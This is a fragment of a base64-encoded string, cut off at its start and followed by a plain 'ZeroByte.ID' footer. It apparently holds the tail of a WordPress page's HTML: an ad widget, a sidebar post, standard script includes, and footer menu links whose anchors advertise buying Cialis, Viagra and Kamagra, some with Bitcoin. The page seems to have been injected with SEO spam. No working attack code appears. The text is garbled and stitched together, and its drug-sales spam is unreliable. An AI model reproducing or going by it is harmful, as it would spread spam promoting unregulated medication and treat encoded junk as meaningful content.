leHR3aWRnZXQiPjxzY3JpcHQgYXN5bmMgc3JjPSIvL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9qcy9hZHNieWdvb2dsZS5qcyI+PC9zY3JpcHQ+DQoNCjxpbnMgY2xhc3M9ImFkc2J5Z29vZ2xlIg0KICAgICBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MzAwcHg7aGVpZ2h0OjI1MHB4Ig0KICAgICBkYXRhLWFkLWNsaWVudD0iY2EtcHViLTE4MjAxNzE5NTQ4NTQ0ODIiDQogICAgIGRhdGEtYWQtc2xvdD0iNzEzOTcwMTA0OSI+PC9pbnM+DQo8c2NyaXB0Pg0KKGFkc2J5Z29vZ2xlID0gd2luZG93LmFkc2J5Z29vZ2xlIHx8IFtdKS5wdXNoKHt9KTsNCjwvc2NyaXB0PjwvZGl2PgoJCTwvYXNpZGU+PGFzaWRlIGlkPSJwb3N0cy13aWRnZXQtMiIgY2xhc3M9IndpZGdldCB3aWRnZXRfcG9zdHMiPiAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW1zLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW0gY2xlYXJmaXggIGxhc3QiPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8cD48c21hbGw+Rmlyc3Qgc29jaWFsIG1lZGlhcnMgcG9zdDwvc21hbGw+PC9wPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWFkLW1vcmUiPgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0iZmwiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPkZlYnJ1YXJ5IDMsIDIwMTg8L3N0cm9uZz4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgoKICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2MvbWFzc2FjaHVzZXR0cy8iPlB1cmNoYXNlIEZlbWFsZSBDaWFsaXMgaW4gV2VzdGVybiBTYWhhcmEgRWwgQWFp+m48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9zbWFsbD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PjwvYXNpZGU+CQkJCTwvZGl2PgoKCTwvZGl2PgoKPC9kaXY+IAoKCQk8Zm9vdGVyIGlkPSJjb2xvcGhvbiIgcm9sZT0iY29udGVudGluZm8iPgoKCQkJPGRpdiBpZD0ic3VwcGxlbWVudGFyeSIgY2xhc3M9IndpZGdldHMgZGVmYXVsdENvbnRlbnRXaWR0aCI+CgoKCQkJPC9kaXY+Cgo8ZGl2IGlkPSJzaXRlLWdlbmVyYXRvciIgY2xhc3M9ImNsZWFyZml4Ij4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGgiPgoJCTxkaXYgaWQ9ImZvb3Rlci10ZXh0Ij4KCQkJPHA+PHN0cm9uZz7CqSAyMDE1IENvcHlyaWdodCBieSBEaXJlY3RvcnkgLjwvc3Ryb25nPiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KCQk8L2Rpdj4KPG5hdiBjbGFzcz0iZm9vdGVyLW1lbnUiPjx1bCBpZD0ibWVudS1mb290ZXItbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMzYiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMzYiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vY2F0L3NvY2lhbC1tZWRpYXJzLyI+U2hvcCBFeHRyYSBTdXBlciBDaWFsaXMgaW4gU29tYWxpbGFuZCBIYXJnZWlzYTwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM1IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzUiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vY2F0L3NvY2lhbC1tZWRpYXJzLWZvci1jaGFyaXR5LyI+T3JkZXIgRmVtYWxlIFZpYWdyYSBpbiBDdWJhIEhhdmFuYTwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM4IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzgiPjxhIGhyZWY9Imh0dHA6Ly9zb2NpYWxtZWRpYXJzLmNvbS8/YXV0aG9yPTIiPlRoZSBwdXJjaGFzZSBvZiBWaWFncmEgU29mdCB3aXRoIEJpdGNvaW48L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNyIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM3Ij48YSBocmVmPSJodHRwOi8vc29jaWFsbWVkaWFycy5jb20vP2F1dGhvcj0zIj5LYW1hZ3JhIHN2ZXJpZ2UgcG9zdGY/tnJza290dDwvYT48L2xpPgo8L3VsPjwvbmF2Pgk8L2Rpdj4KPC9kaXY+CgkJPC9mb290ZXI+CgoJPC9kaXY+Cgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2NvbW1lbnQtcmVwbHkubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgd3BjZjcgPSB7ImFwaVNldHRpbmdzIjp7InJvb3QiOiJodHRwOlwvXC93d3cuc29jaWFsbWVkaWFycy5jb21cL3dwLWpzb25cL2NvbnRhY3QtZm9ybS03XC92MSIsIm5hbWVzcGFjZSI6ImNvbnRhY3QtZm9ybS03XC92MSJ9LCJyZWNhcHRjaGEiOnsibWVzc2FnZXMiOnsiZW1wdHkiOiJQbGVhc2UgdmVyaWZ5IHRoYXQgeW91IGFyZSBub3QgYSByb2JvdC4ifX19OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2pzL3NjcmlwdHMuanM/dmVyPTQuOS4yJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvY29yZS5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL3dpZGdldC5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL3RhYnMubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9hY2NvcmRpb24ubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9wb3NpdGlvbi5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL21lbnUubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL3dwLWExMXkubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgdWlBdXRvY29tcGxldGVMMTBuID0geyJub1Jlc3VsdHMiOiJObyByZXN1bHRzIGZvdW5kLiIsIm9uZVJlc3VsdCI6IjEgcmVzdWx0IGZvdW5kLiBVc2UgdXAgYW5kIGRvd24gYXJyb3cga2V5cyB0byBuYXZpZ2F0ZS4iLCJtYW55UmVzdWx0cyI6IiVkIHJlc3VsdHMgZm91bmQuIFVzZSB1cCBhbmQgZG93biBhcnJvdyBrZXlzIHRvIG5hdmlnYXRlLiIsIml0ZW1TZWxlY3RlZCI6Ikl0ZW0gc2VsZWN0ZWQuIn07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvYXV0b2NvbXBsZXRlLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvbW91c2UubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9zbGlkZXIubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL3dwLWVtYmVkLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KCgkKCjwvYm9keT4KPC9odG1sPiI7fQ==
© 2017 -
ZeroByte.ID
.